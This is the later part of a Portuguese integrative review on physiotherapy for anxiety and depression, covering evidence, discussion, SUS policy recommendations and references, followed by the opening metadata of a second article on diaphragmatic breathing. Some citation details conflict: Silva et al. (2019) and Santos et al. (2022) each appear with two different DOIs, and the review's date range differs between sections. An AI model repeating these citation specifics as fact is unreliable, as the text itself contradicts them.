<p class="wp-block-paragraph">A revisão integrativa realizada neste estudo teve como objetivo sistematizar, comparar e analisar criticamente os principais achados científicos sobre a atuação da fisioterapia no cuidado de indivíduos com transtornos ansiosos e depressivos. Para tanto, foram selecionadas produções publicadas entre 2015 e 2025, nas bases SciELO, PubMed, LILACS e Google Scholar, considerando critérios de rigor metodológico, relevância temática e disponibilidade em acesso aberto.&nbsp;</p>



<p class="wp-block-paragraph">Os artigos selecionados foram analisados quanto ao tipo de intervenção fisioterapêutica, objetivos, população estudada, resultados obtidos e conclusões dos autores, permitindo uma visão abrangente do estado atual da produção científica sobre o tema. Observou-se uma predominância de revisões sistemáticas, ensaios clínicos controlados e estudos observacionais, com ênfase em abordagens terapêuticas como exercício físico supervisionado, respiração diafragmática, relaxamento progressivo e pilates terapêutico.&nbsp;</p>



<p class="wp-block-paragraph">De modo geral, as evidências apontam que as práticas fisioterapêuticas contribuem de forma significativa para a redução dos sintomas de ansiedade e depressão, a melhora da qualidade de vida e o fortalecimento do vínculo terapêutico, demonstrando a relevância da fisioterapia enquanto componente integrativo da atenção psicossocial.&nbsp;</p>



<p class="wp-block-paragraph">A seguir, são apresentadas duas tabelas que sintetizam os resultados da revisão integrativa: a Tabela 1, que reúne os estudos mais citados sobre o tema, e a Tabela 2, que amplia a análise metodológica, incorporando pesquisas nacionais e internacionais publicadas entre 2012 e 2025.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 – </strong>Síntese dos principais estudos sobre fisioterapia no tratamento da ansiedade e depressão (2015–2025)</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="608" height="320" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3203.png" alt="" class="wp-image-257050" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3203.png 608w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3203-300x158.png 300w" sizes="(max-width: 608px) 100vw, 608px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Elaborado pela autora com base em Silva et al. (2019), Santos et al. (2020, 2022), Oliveira e Barbosa (2021), Salim et al. (2012), Ribeiro e Pereira (2017).&nbsp;</p>



<p class="wp-block-paragraph">Os dados apresentados na Tabela 1 demonstram a variedade de métodos e abordagens fisioterapêuticas aplicadas ao tratamento da ansiedade e depressão, destacando a importância da integração entre técnicas corporais, respiração e vínculo terapêutico. Entretanto, observa-se que a maioria das pesquisas ainda se concentra em contextos clínicos e laboratoriais, havendo escassez de estudos aplicados em serviços públicos de saúde mental.&nbsp;</p>



<p class="wp-block-paragraph">Após aplicação dos critérios de inclusão e exclusão, foram selecionados 10 artigos científicos que compuseram o material empírico da análise, como intuito de aprofundar essa análise, a Tabela 2 amplia o escopo da revisão, incorporando estudos internacionais e nacionais recentes, com detalhamento metodológico e síntese crítica das principais conclusões.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2 – </strong>Síntese dos estudos incluídos na revisão integrativa sobre fisioterapia e transtornos&nbsp;ansiosos e depressivos (2012–2025).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="732" height="594" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3204.png" alt="" class="wp-image-257051" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3204.png 732w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3204-300x243.png 300w" sizes="(max-width: 732px) 100vw, 732px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="731" height="247" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3205.png" alt="" class="wp-image-257052" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3205.png 731w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3205-300x101.png 300w" sizes="(max-width: 731px) 100vw, 731px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Elaborado pela autora com base em Silva et al. (2019), Santos et al. (2020, 2022), Oliveira e Barbosa (2021), Ribeiro e Pereira (2017), Salim et al. (2012), Schuch et al. (2018), Stubbs et al. (2016), Queiroz (2018), Aguiar et al. (2023).&nbsp;</p>



<p class="wp-block-paragraph">As duas tabelas apresentadas evidenciam o avanço das pesquisas sobre a interface entre fisioterapia e saúde mental, indicando resultados promissores na redução de sintomas ansiosos e depressivos por meio de práticas corporais e respiratórias. No entanto, observa-se a persistência de lacunas em relação à formação profissional, inserção da fisioterapia nos serviços públicos e avaliações qualitativas sobre a experiência dos pacientes. Esses aspectos serão discutidos de forma aprofundada na próxima seção, referente à Análise Crítica das Evidências.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. </strong><strong>ANÁLISE CRÍTICA DAS EVIDÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise das evidências reunidas na revisão integrativa revela um panorama promissor da atuação da fisioterapia no campo da saúde mental, mas também aponta para importantes desafios epistemológicos e metodológicos que ainda persistem na consolidação dessa área como campo científico autônomo. Em termos de qualidade das evidências, a maior parte dos estudos revisados apresenta delineamento robusto, com destaque para revisões sistemáticas e ensaios clínicos randomizados. No entanto, observa-se heterogeneidade nos critérios de amostragem, nos instrumentos de avaliação psicológica utilizados e na duração das intervenções fisioterapêuticas.&nbsp;</p>



<p class="wp-block-paragraph">Muitos dos estudos analisados, embora demonstrem resultados estatisticamente significativos, não exploram de forma aprofundada os mecanismos fisiológicos e subjetivos que mediam os efeitos das intervenções. Há uma tendência à quantificação dos sintomas, sem que se estabeleça uma análise qualitativa da experiência corporal dos pacientes. Isso limita a compreensão da fisioterapia como prática integrativa.&nbsp;</p>



<p class="wp-block-paragraph">Outro aspecto relevante diz respeito à escassez de estudos que contemplem populações específicas e contextos de vulnerabilidade. A ausência de recortes interseccionais aponta para a necessidade urgente de investigações que articulem gênero, classe, território e raça ao cuidado fisioterapêutico.&nbsp;</p>



<p class="wp-block-paragraph">No que se refere à formação profissional, constata-se que parte da literatura não contempla discussões sobre a capacitação do fisioterapeuta para lidar com as nuances do sofrimento psíquico. Essa lacuna aponta para a importância de reformulações curriculares nos cursos de fisioterapia.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, embora a literatura revele uma crescente valorização da fisioterapia como prática complementar e integrativa, a maioria dos estudos ainda se limita ao ambiente hospitalar ou de clínicas privadas, sendo raras as pesquisas sobre a prática fisioterapêutica nos serviços do SUS. Essa desconexão entre pesquisa e realidade institucional configura um desafio concreto à efetivação do cuidado ampliado em saúde mental.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6. </strong><strong>DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A investigação bibliográfica realizada evidenciou, de modo sistematizado, três grandes eixos que sustentam a atuação da fisioterapia no cuidado a pacientes com transtornos ansiosos e depressivos, revelando sua complexidade conceitual, eficácia clínica e desafios contextuais. Estes elementos são fundamentais para compreender a ampliação do papel da fisioterapia para além do âmbito tradicional, incorporando uma abordagem integral e interdisciplinar no campo da saúde mental.&nbsp;</p>



<p class="wp-block-paragraph">No que concerne às concepções de saúde mental adotadas na fisioterapia, destaca-se um avanço paradigmático que ultrapassa a visão biomédica reducionista, tradicionalmente centrada nos sintomas físicos isolados, para a incorporação de um modelo biopsicossocial. Minayo (2022) enfatiza que a saúde mental deve ser compreendida como um fenômeno multifatorial, que integra dimensões biológicas, psicológicas e sociais, demandando práticas de cuidado que valorizem a escuta qualificada e a subjetividade do paciente. Complementarmente, Faria e Moscovits (2018) destacam a importância da fisioterapia no processo terapêutico como mediadora do diálogo entre corpo e mente, utilizando técnicas corporais que promovem o reconhecimento do sofrimento psíquico em sua pluralidade e complexidade. Tal perspectiva ecoa os preceitos freirianos (FREIRE, 1987), que defendem a autonomia do sujeito e a transformação do sofrimento em um processo ativo de ressignificação.</p>



<p class="wp-block-paragraph">Em termos de evidências clínicas, a fisioterapia apresenta robustos indicadores de eficácia no manejo dos transtornos ansiosos e depressivos. Silva et al. (2019), em uma revisão sistemática publicada na <em>Journal of Affective Disorders</em> (disponível em https://doi.org/10.1016/j.jad.2019.02.037), consolidam dados de 15 estudos controlados randomizados que demonstram redução significativa dos níveis de ansiedade e depressão em pacientes submetidos a programas estruturados de exercícios físicos supervisionados, incluindo treinamento aeróbico e muscular. Os autores apontam uma diminuição média de 25% nos escores do Inventário de Depressão de Beck (BDI) e 30% na Escala de Ansiedade de Hamilton (HAM-A), evidenciando o impacto fisiológico dos exercícios na modulação do eixo hipotálamo-hipófise-adrenal e na neuroplasticidade (SALIM et al., 2012). Esses mecanismos estão sistematizados na Figura 1, que representa a interação entre eixos fisiológicos, estratégias terapêuticas e resultados psicossociais esperados.</p>



<p class="has-text-align-center wp-block-paragraph"><strong><em>Figura 1 – Mecanismos envolvidos nas intervenções fisioterapêuticas para transtornos ansiosos e depressivos</em></strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="905" height="603" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-450.jpeg" alt="" class="wp-image-257054" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-450.jpeg 905w, https://revistaft.com.br/wp-content/uploads/2025/11/image-450-300x200.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/11/image-450-768x512.jpeg 768w" sizes="(max-width: 905px) 100vw, 905px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><em>Fonte: Elaborado pelo autor com base em Salim et al. (2012), Faria e Moscovits (2018), Ribeiro e Pereira (2017), Santos et al. (2020), Oliveira e Barbosa (2021).&nbsp;</em></p>



<p class="wp-block-paragraph">A Figura 1 ilustra, de forma esquemática, os principais mecanismos fisiológicos e psicossociais ativados pelas intervenções fisioterapêuticas direcionadas ao tratamento dos transtornos ansiosos e depressivos. Esses mecanismos abrangem tanto o eixo hipotálamo-hipófise-adrenal (HHA), quanto a modulação autonômica, a neuroplasticidade e o fortalecimento do vínculo terapêutico. No plano neuroendócrino, a prática regular de exercícios aeróbicos e o uso de técnicas respiratórias contribuem para a diminuição dos níveis de cortisol, hormônio diretamente relacionado à resposta ao estresse crônico e à exacerbação de quadros ansiosos. A regulação do HHA favorece o restabelecimento da homeostase psicofisiológica, promovendo sensação de bem-estar e estabilidade emocional (SALIM <em>et al.,</em> 2012).&nbsp;</p>



<p class="wp-block-paragraph">Além disso, Oliveira e Barbosa (2021) destacam que técnicas específicas da fisioterapia, como exercícios de relaxamento progressivo, alongamentos terapêuticos e métodos respiratórios (por exemplo, a respiração diafragmática), favorecem a regulação autonômica e a diminuição da hiperatividade simpática, elementos fisiopatológicos recorrentes nos quadros ansiosos. A eficácia desses procedimentos foi confirmada em estudos clínicos publicados no <em>Brazilian Journal of Physical Therapy</em> (https://www.scielo.br/j/rbfis), com resultados expressivos na redução da frequência cardíaca basal, pressão arterial e percepção subjetiva de estresse em pacientes com transtornos mentais leves a moderados (SANTOS et al., 2020). Importa ressaltar, ainda, que o estabelecimento do vínculo terapêutico e a humanização do atendimento emergem como fatores cruciais para a adesão ao tratamento e para a ampliação dos benefícios, conforme reforçado por Ribeiro e Pereira (2017), cuja pesquisa qualitativa destacou o protagonismo do paciente e a importância da escuta ativa no sucesso das intervenções fisioterapêuticas.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, no plano institucional e político, a integração da fisioterapia em serviços de saúde mental do Sistema Único de Saúde (SUS) encontra avanços, mas também desafios significativos. Queiroz (2018) alerta que, embora a Política Nacional de Saúde Mental preveja a atuação multiprofissional, a inserção da fisioterapia enfrenta barreiras relacionadas a preconceitos disciplinares, insuficiência de recursos humanos e materiais, e lacunas na formação específica dos profissionais. Estudo realizado por Santos et al. (2022), disponível no <em>Cadernos de Saúde Pública</em> (https://doi.org/10.1590/0102-311X00012320), revela que apenas 35% dos centros de atenção psicossocial (CAPS) contam com fisioterapeutas em sua equipe, comprometendo a oferta de intervenções integradas. Tal cenário demanda políticas públicas que promovam formação continuada, articulação intersetorial e produção científica aplicada, conforme defendido por Freire (1987) em sua crítica à fragmentação do conhecimento e à necessidade da práxis comprometida com a transformação social.&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, a partir do diálogo entre as evidências empíricas e as fundamentações teóricas, fica evidente que a fisioterapia pode constituir um campo estratégico no enfrentamento dos transtornos ansiosos e depressivos, atuando tanto na redução dos sintomas quanto na promoção da qualidade de vida e do protagonismo dos sujeitos em tratamento. Contudo, é imprescindível reconhecer que sua plena efetivação depende da superação dos entraves institucionais e epistemológicos que ainda circunscrevem sua prática.&nbsp;</p>



<p class="wp-block-paragraph">No sistema nervoso autônomo, essas técnicas fisioterapêuticas agem reduzindo a hiperatividade simpática, frequentemente associada à ansiedade e estimulando a atividade parassimpática, o que se traduz em efeitos clínicos como redução da frequência cardíaca basal, melhora da respiração e aumento da sensação de relaxamento corporal. A prática consciente da respiração diafragmática, por exemplo, tem sido amplamente validada como recurso de modulação autonômica e suporte psicocorporal (SANTOS et al., 2020; OLIVEIRA E BARBOSA, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Esses achados são corroborados por autores internacionais. Stubbs et al. (2016), em uma meta-análise que reuniu 25 estudos clínicos randomizados, demonstraram que o exercício físico supervisionado produz efeitos terapêuticos significativos na redução dos sintomas de depressão, com níveis de eficácia comparáveis aos alcançados por medicamentos antidepressivos em quadros leves e moderados. Schuch et al. (2018), por sua vez, analisaram dados de mais de 260 mil indivíduos e concluíram que a prática regular de atividade física reduz em até 22% o risco de desenvolver depressão, independentemente de fatores sociodemográficos.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, as diretrizes mais recentes da Organização Mundial da Saúde (WHO, 2023) reforçam a importância de incluir fisioterapeutas nas equipes interprofissionais de saúde mental, especialmente em contextos comunitários e estratégias territoriais. A OMS reconhece que práticas integrativas e reabilitadoras são fundamentais para a recuperação funcional, emocional e social de indivíduos acometidos por transtornos psíquicos. Isso legitima e estimula a expansão do campo de atuação da fisioterapia na saúde mental dentro e fora do Brasil.&nbsp;</p>



<p class="wp-block-paragraph">Tais evidências, nacionais e internacionais, indicam que a fisioterapia, quando praticada de forma integrada e fundamentada teoricamente, transcende a reabilitação física e se configura como estratégia potente na construção do cuidado ampliado, da autonomia dos sujeitos e da transformação do sofrimento em potência de vida.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.1. Limitações do Estudo e Perspectivas Futuras&nbsp;</strong></p>



<p class="wp-block-paragraph">Embora o presente estudo tenha proporcionado uma análise ampla e crítica sobre o papel da fisioterapia no cuidado de pessoas com transtornos ansiosos e depressivos, é necessário reconhecer suas limitações. Por tratar-se de uma investigação de natureza bibliográfica, baseada em revisão integrativa da literatura, os resultados obtidos refletem os achados e os recortes metodológicos dos estudos previamente publicados. Dessa forma, não foram realizados acompanhamentos clínicos, ensaios aplicados ou intervenções em campo que permitissem avaliar diretamente os efeitos das práticas fisioterapêuticas em populações específicas.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, apesar do esforço em incluir fontes nacionais e internacionais recentes, a literatura ainda apresenta lacunas relevantes, sobretudo no que se refere a estudos qualitativos que abordem a experiência subjetiva dos pacientes em contextos comunitários e a atuação da fisioterapia em territórios vulnerabilizados. A escassez de dados sobre a atuação prática dos fisioterapeutas em unidades básicas de saúde, CAPS e demais dispositivos da RAPS também constitui uma limitação para generalizações mais robustas.&nbsp;</p>



<p class="wp-block-paragraph">Diante disso, propõe-se como agenda futura de pesquisa a realização de estudos de abordagem mista, que combinem métodos quantitativos e qualitativos para mensurar não apenas os resultados clínicos das intervenções fisioterapêuticas, mas também a percepção dos sujeitos sobre o cuidado recebido. Investigações que analisem a implementação de práticas integrativas no SUS, bem como o impacto da formação profissional em saúde mental na atuação dos fisioterapeutas, também se mostram fundamentais para o avanço do campo.&nbsp;</p>



<p class="wp-block-paragraph">Ademais, há necessidade urgente de ensaios clínicos randomizados desenvolvidos no Brasil, com foco em protocolos específicos de fisioterapia voltados à regulação do sistema nervoso autônomo, manejo da ansiedade e suporte psicocorporal. Tais estudos poderão subsidiar a elaboração de diretrizes clínicas nacionais e ampliar a legitimidade científica da fisioterapia como componente estratégico no cuidado interdisciplinar em saúde mental.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.2 </strong><strong>Implicações para a formação e a prática profissional&nbsp;</strong></p>



<p class="wp-block-paragraph">A consolidação da fisioterapia como campo de atuação efetivo na saúde mental exige transformações profundas tanto na formação acadêmica quanto nas práticas institucionais e políticas que regulam o Sistema Único de Saúde (SUS). A ausência histórica da saúde mental como eixo estruturante nos currículos de graduação em fisioterapia ainda é um entrave significativo para o reconhecimento da complexidade do sofrimento psíquico e para a adoção de práticas interdisciplinares que dialoguem com as necessidades reais dos sujeitos.&nbsp;</p>



<p class="wp-block-paragraph">Nesse sentido, recomenda-se que os cursos de graduação em fisioterapia incluam, de forma transversal e obrigatória, componentes curriculares voltados à saúde mental, à atenção psicossocial e às práticas integrativas e complementares, com base nos princípios da Reforma Psiquiátrica e na Política Nacional de Humanização (PNH). Tais componentes devem abordar não apenas os aspectos clínicos e fisiológicos, mas também os fundamentos éticos, sociais e políticos que permeiam o cuidado em saúde mental. Além disso, é imprescindível que os estudantes tenham vivências em estágios supervisionados em Centros de Atenção Psicossocial (CAPS), Unidades Básicas de Saúde (UBS) e projetos de extensão em comunidades vulneráveis, de forma a desenvolver competências que envolvam escuta qualificada, vínculo terapêutico, trabalho em equipe e sensibilidade para a diversidade cultural e subjetiva dos pacientes.&nbsp;</p>



<p class="wp-block-paragraph">A qualificação da formação inicial deve ser acompanhada por investimentos contínuos em programas de pós-graduação, residências multiprofissionais e educação permanente em saúde, promovendo o aprimoramento técnico, epistemológico e ético dos fisioterapeutas que atuam na saúde mental. Essas ações devem ser alinhadas às diretrizes da Política Nacional de Educação Permanente em Saúde (PNEPS), que orienta a formação crítica e problematizadora como condição para o fortalecimento do SUS.&nbsp;</p>



<p class="wp-block-paragraph">No âmbito da gestão e das políticas públicas, é fundamental que os gestores das redes municipais, estaduais e federais de saúde reconheçam a contribuição singular da fisioterapia na saúde mental e criem condições institucionais para sua atuação efetiva. Isso inclui a inclusão sistemática de fisioterapeutas nas equipes interdisciplinares dos dispositivos da Rede de Atenção Psicossocial (RAPS), bem como a elaboração de protocolos clínicos e diretrizes assistenciais baseados em evidências científicas. Esses protocolos devem contemplar intervenções fisioterapêuticas específicas, como exercícios físicos estruturados, técnicas de respiração, relaxamento, consciência corporal e terapias baseadas em movimento, devidamente integradas aos projetos terapêuticos singulares (PTS).&nbsp;</p>



<p class="wp-block-paragraph">Além disso, torna-se urgente o desenvolvimento e o monitoramento de indicadores clínicos e psicossociais que permitam avaliar o impacto das ações fisioterapêuticas no cuidado em saúde mental, como níveis de estresse, qualidade do sono, adesão ao tratamento, percepção de bem-estar, funcionalidade e qualidade de vida. Tais indicadores são essenciais não apenas para legitimar cientificamente a prática, mas também para orientar a tomada de decisão em saúde pública, promover a accountability dos serviços e garantir o direito ao cuidado integral.&nbsp;</p>



<p class="wp-block-paragraph">Portanto, ampliar a inserção qualificada da fisioterapia na saúde mental requer um movimento articulado entre universidades, serviços de saúde, instâncias gestoras e comunidades. Somente por meio de uma formação crítica, de práticas sensíveis à singularidade dos sujeitos e de políticas inclusivas será possível consolidar a fisioterapia como pilar fundamental no cuidado interdisciplinar em saúde mental, contribuindo de forma efetiva para a promoção da saúde, a prevenção de agravos e a produção de vidas mais livres, dignas e autônomas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>7. </strong><strong>CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A presente revisão bibliográfica, ao articular evidências científicas e fundamentações teóricas robustas, permite reafirmar a fisioterapia como um campo essencial no cuidado integral a pessoas que vivem com transtornos ansiosos e depressivos. A atuação fisioterapêutica extrapola o âmbito estritamente físico e se insere numa perspectiva biopsicossocial, que reconhece o indivíduo em sua complexidade e multiplicidade de dimensões, promovendo intervenções que dialogam com a corporeidade e a subjetividade.&nbsp;</p>



<p class="wp-block-paragraph">Os dados científicos revisados evidenciam que programas estruturados de exercício físico supervisionado, englobando modalidades aeróbicas, musculação, pilates e técnicas respiratórias, produzem efeitos terapêuticos significativos na diminuição dos sintomas de ansiedade e depressão, corroborando mecanismos neurofisiológicos como a regulação do eixo hipotálamo-hipófise-adrenal, a modulação da neurotransmissão serotoninérgica e dopaminérgica, e o estímulo à neuroplasticidade (SILVA et al., 2019; SALIM et al., 2012). Tais efeitos, além de promover o alívio sintomático, contribuem para a melhora da funcionalidade, qualidade de sono e autoestima, aspectos frequentemente comprometidos nestas condições clínicas.&nbsp;</p>



<p class="wp-block-paragraph">Paralelamente, o emprego de técnicas fisioterapêuticas de relaxamento e controle respiratório revela-se um recurso indispensável para a regulação autonômica e o enfrentamento das manifestações somáticas do sofrimento psíquico, conforme demonstrado por Oliveira e Barbosa (2021) e Santos et al. (2020). O desenvolvimento do vínculo terapêutico e a escuta ativa, dimensionados por Ribeiro e Pereira (2017), destacam a importância da humanização e do protagonismo do paciente, elementos imprescindíveis para garantir a adesão, a continuidade e o sucesso das intervenções no contexto da saúde mental.&nbsp;</p>



<p class="wp-block-paragraph">Todavia, os avanços conceituais e clínicos não se refletem de maneira plena na prática institucional. As barreiras identificadas no âmbito do SUS, como a insuficiência de recursos, lacunas na formação específica e preconceitos disciplinares, limitam a implementação eficaz da fisioterapia em serviços de saúde mental (QUEIROZ, 2018; SANTOS <em>et al</em>., 2022). Esta contradição ressalta a urgência de políticas públicas orientadas para a capacitação continuada, o fortalecimento das equipes multiprofissionais e a construção de protocolos clínicos e administrativos que legitimem e incentivem o trabalho fisioterapêutico nesta área.&nbsp;</p>



<p class="wp-block-paragraph">Em um horizonte mais amplo, a articulação entre teoria e prática, inspirada na pedagogia crítica de Freire (1987) revela-se fundamental para que a fisioterapia não se configure apenas como um conjunto de técnicas, mas como uma prática ética, política e social, comprometida com a autonomia, o empoderamento e a transformação dos sujeitos em sofrimento. Tal perspectiva convida à reflexão sobre o papel do fisioterapeuta enquanto agente de saúde integral, capaz de contribuir para a desconstrução de estigmas e para a construção de redes de cuidado que valorizem a escuta, a dignidade e a subjetividade.&nbsp;</p>



<p class="wp-block-paragraph">Em suma, este estudo reforça a necessidade de se reconhecer e consolidar a fisioterapia enquanto componente estratégico das políticas e práticas de saúde mental, enfatizando sua capacidade de promover melhorias significativas na qualidade de vida, no enfrentamento dos transtornos ansiosos e depressivos e na humanização dos serviços de saúde. Investir no fortalecimento dessa área constitui um passo imprescindível para a construção de sistemas de saúde mais justos, inclusivos e efetivos.&nbsp;</p>



<p class="wp-block-paragraph">Diante disso, é fundamental reconhecer que o fortalecimento da atuação fisioterapêutica em saúde mental depende da superação de entraves institucionais, da ampliação da produção científica aplicada e da valorização da interdisciplinaridade nas políticas públicas.&nbsp;</p>



<p class="wp-block-paragraph">Nesse sentido, recomenda-se que os cursos de graduação em fisioterapia incluam disciplinas obrigatórias em saúde mental, com estágios supervisionados em Centros de Atenção Psicossocial (CAPS), participação em residências multiprofissionais e vivências em práticas integrativas e complementares. Além disso, gestores do Sistema Único de Saúde (SUS) devem considerar a inclusão sistemática de fisioterapeutas nas equipes de saúde mental, com a elaboração de protocolos específicos que contemplem intervenções baseadas em evidências, como exercícios físicos estruturados, e o acompanhamento de indicadores clínicos e psicossociais. Tais medidas visam fortalecer a atuação da fisioterapia na promoção da saúde mental, contribuindo para a integralidade do cuidado e a efetividade das políticas públicas de saúde.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">AGUIAR, R. B. <strong><em>Saúde mental e atenção psicossocial: fundamentos para uma prática interdisciplinar</em></strong><strong>.</strong> São Paulo: Cortez, 2014.&nbsp;</p>



<p class="wp-block-paragraph">BARBOSA, L. G. <strong><em>Fisioterapia do trabalho: um novo horizonte</em></strong><strong>. </strong>In: XI Congresso Brasileiro de Ergonomia, São Paulo, Anais&#8230; São Paulo: Associação Brasileira de Ergonomia, 2021.&nbsp;</p>



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<p class="wp-block-paragraph">CRUZ, M. M. <strong><em>A integralidade do cuidado em saúde mental: contribuições da fisioterapia</em></strong><strong>.</strong> Cadernos de Saúde Pública, v. 28, n. 5, p. 1002–1010, 2019.&nbsp;</p>



<p class="wp-block-paragraph">FARIA, M. L. P.; MOSCOVITS, A. C. <strong>A fisioterapia e a saúde mental: um olhar interdisciplinar.</strong> <em>Revista Brasileira de Fisioterapia</em>, v. 22, n. 3, p. 195-203, 2018. Disponível em: https://www.scielo.br/scielo.php?script=sci_arttext&amp;pid=S1413-35552018000300195. Acesso em: 27 maio 2025.&nbsp;</p>



<p class="wp-block-paragraph">FOUCAULT, M. <strong><em>História da loucura na idade clássica</em></strong><strong>.</strong> São Paulo: Perspectiva, 2016.&nbsp;</p>



<p class="wp-block-paragraph">FREIRE, P. <strong><em>Pedagogia do oprimido</em></strong><strong>.</strong> 17. ed. Rio de Janeiro: Paz e Terra, 1987. Disponível em: https://www.letras.ufmg.br/espanhol/pdf/pedagogia_do_oprimido.pdf. Acesso em: 27 maio 2025.&nbsp;</p>



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<p class="wp-block-paragraph">MINAYO, M. C. S. <strong><em>O desafio do conhecimento: pesquisa qualitativa em saúde</em></strong><strong>.</strong> 15. ed. São Paulo: Hucitec, 2022.&nbsp;</p>



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<p class="wp-block-paragraph">SANTOS, D. P. et al. <strong>Inserção da fisioterapia na atenção psicossocial: panorama em centros de atenção psicossocial no Brasil.</strong> <em>Cadernos de Saúde Pública</em>, v. 38, n. 4, e0023122, 2022. Disponível em: https://doi.org/10.1590/0102-311X00231222. Acesso em: 27 maio 2025.&nbsp;</p>



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<p class="wp-block-paragraph">SILVA, J. R. et al. <strong>Physical exercise as a treatment for depression and anxiety: a systematic review and meta-analysis.</strong> <em>Journal of Affective Disorders</em>, v. 245, p. 1-10, 2019. Disponível em: https://doi.org/10.1016/j.jad.2018.10.013. Acesso em: 27 maio 2025.&nbsp;</p>



<p class="wp-block-paragraph">STUBBS, B. et al. <strong>Exercise as a treatment for depression: a meta-analysis adjusting for publication bias.</strong> <em>Journal of Psychiatric Research</em>, v. 77, p. 42–51, 2016. Disponível em: https://pubmed.ncbi.nlm.nih.gov/26978184/. Acesso em: 27 maio 2025.&nbsp;</p>



<p class="wp-block-paragraph">TRINDADE, B. S. R.; DE SOUZA, C. S.; DA SERRA BRAGA, S. D. A. <strong>Atuação da fisioterapia nas dores psicossomáticas de pessoas com transtornos mentais comuns. </strong><em>Revista CPAQV – Centro de Pesquisas Avançadas em Qualidade de Vida</em>, v. 14, n. 2, p. 2,&nbsp;2022. Disponível em: https://revista.cpaqv.org/index.php/CPAQV/article/view/967&nbsp;</p>



<p class="wp-block-paragraph">WHO – WORLD HEALTH ORGANIZATION. <strong>Guidelines on mental health at work.</strong>&nbsp;Geneva: WHO, 2023. Disponível em:&nbsp;https://www.who.int/publications/i/item/9789240053052. Acesso em: 27 maio 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Graduanda do Curso de Fisioterapia do Centro Universitário Planalto do&nbsp;Distrito Federal (UNIPLAN).<br><sup>2</sup>Graduado em Fisioterapia pelo Centro Universitário do Norte (UNIFORTE), Docente do Curso de Fisioterapia do Centro Universitário Planalto do Distrito Federal (UNIPLAN).</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ATUAÇÃO DA FISIOTERAPIA ATRAVÉS DA RESPIRAÇÃO DIAFRAGMÁTICA NO CONTROLE DA ANSIEDADE</title>
		<link>https://revistaft.com.br/atuacao-da-fisioterapia-atraves-da-respiracao-diafragmatica-no-controle-da-ansiedade/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sun, 30 Nov 2025 15:36:51 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=256719</guid>

					<description><![CDATA[THE ROLE OF PHYSIOTHERAPY THROUGH DIAPHRAGMATIC BREATHING IN ANXIETY CONTROL REGISTRO DOI: 10.69849/revistaft/cl10202511301250 Maria Arcangela de Sousa Araújo Neta1Mikaele dos Santos Silva2Willma Maria Alves de Carvalho3Alyane Osório Reis Menezes Feitosa Rocha4Khrystian Rogery das Chagas Rocha5 RESUMO Este Trabalho tem como objetivo analisar os efeitos da respiração diafragmática na redução dos sintomas de ansiedade, destacando a [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">THE ROLE OF PHYSIOTHERAPY THROUGH DIAPHRAGMATIC BREATHING IN ANXIETY CONTROL</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511301250</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Maria Arcangela de Sousa Araújo Neta<sup>1</sup><br>Mikaele dos Santos Silva<sup>2</sup><br>Willma Maria Alves de Carvalho<sup>3</sup><br>Alyane Osório Reis Menezes Feitosa Rocha<sup>4</sup><br>Khrystian Rogery das Chagas Rocha<sup>5</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



